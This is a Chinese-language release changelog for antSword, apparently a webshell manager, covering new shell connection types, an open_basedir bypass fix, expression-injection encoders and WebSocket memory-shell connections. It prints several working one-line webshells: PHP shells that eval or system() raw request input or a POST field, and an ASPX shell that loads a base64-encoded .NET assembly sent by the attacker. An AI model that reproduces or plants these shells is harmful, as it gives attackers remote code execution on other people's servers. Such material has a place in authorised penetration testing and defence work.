❗️本次更新涉及内容较多,请仔细阅读
核心
- 修复 PHP/PHP4 当前目录不可写时 bypass open_basedir 失败的 Bug
- ❗️❗️❗️ 新增 PHPRAW 类型, 该类型支持的 WebShell 类似如下代码:
<?php eval(file_get_contents("php://input"));?>
为了方便直连 Behinder3 WebShell, 编码器已内置。
- ❗️❗️❗️新增 ASPXCSharp 类型
该类型支持的 WebShell 类似如下代码:
<%@ Page Language="c#"%>
<%
String Payload = Request.Form["ant"];
if (Payload != null)
{
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(null);
}
%>
有关该类型的设计说明, 请参考聊聊新类型ASPXCSharp
- ❗️❗️❗️新增 PSWindows 类型,与 CMDLinux 类似
基于命令执行的一句话类型, 仅支持 Windows 环境
该类型支持的 WebShell 类似如下代码:
<?php system($_POST["ant"]);?>
有关 PSWindows 的一些注意事项和原理说明, 请参考新类型 PSWindows 预览
- ❗️❗️❗️JSPJS 兼容各种表达式注入
具体请看 spelbase64、el、ognl 这三个内置编码器样例, 详细请参考Java表达式注入的武器化利用
数据管理
- 优化了编辑 Shell 信息时,URL后缀发生改变后连动修改「连接类型」功能
- 优化插件快捷设置,修正过多快捷设置后对UI影响(Fix #303)
- 修复 JSP/MySQL类型在表名中有特殊字符时执行异常的 Bug (thx @powersploit)
- ❗️❗️新增配置选项「Body 设置为 RAW 模式」
勾选该选项后,只会发送
pwd
键下的内容,不会发送键值
目前生效的类型有: 「PHPRAW」、「CMDLinux」、「PSWindows」、「JSPJS」
主要场景如下:
// 连接类型 CMDLinux, 勾选 「Body 设置为 RAW 模式」后可连接
<?php system(file_get_contents("php://input"));?>
文件管理
- ❗️新增 FileHash 计算目标文件 hash 功能
该功能目前正在逐步适配所有类型中 , 目前已经适配 PHP/PHP4/PSWindows/CMDLinux/JSP/JSPJS
后端模块
- 支持自定义 Content-Type, 默认是
form
superagent 支持的 type 简写如下, 当然也支持填写全称:
html: 'text/html',
json: 'application/json',
xml: 'text/xml',
urlencoded: 'application/x-www-form-urlencoded',
form: 'application/x-www-form-urlencoded',
form-data: 'application/x-www-form-urlencoded'
- Fix #307
- 重新规整
modules/request.js
代码结构 - 调整 superagent
ignoreHTTPS
注入,避免 npm upgrade之后引发问题 - ❗️❗️❗️支持 WebSocket 连接
由于 ASP/ASPX/ASPXCharp/PHP/JSP/CUSTOM 类型每次请求时为多个参数,WebSocket连接之后Server端解析会较为困难,所以当前仅支持「RAW」类型: 「PHPRAW」、「CMDLinux」、「PSWindows」、「JSPJS」,未来会支持基于 defineClass 的 JSPRAW 类型
以 wsMemShell 项目中的 wscmd
为例:
URL: ws://127.0.0.1:8080/demoendpoint
PWD: 随便填写
连接类型: CMDLinux
Encoder: default (明文, 这个是WebShell端决定的)
Decoder: 根据情况自由选择
注意: 由于 antSword 历史设计原因,WebSocket 连接方式暂时只能每次操作都重新建立一次连接,在传输结束后自动与Server端断开
设置模块
- 优化了新增Core类型时,编码设置解析逻辑, 现在不需要再改该模块的源代码了
- ❗️❗️优化全局代理设置, 代理在设置完后不需要再重启了
其它
- 更新纯真IP数据库为 2022/04/20 (https://github.com/out0fmemory/qqwry.dat)
如需自己更新请下载后替换
static/libs/qqwry.dat
文件
- 升级 superagent 到 6.1.0 (再高的版本需要高版本Electron支持)
- 升级 superagent-proxy 到 v3.0.0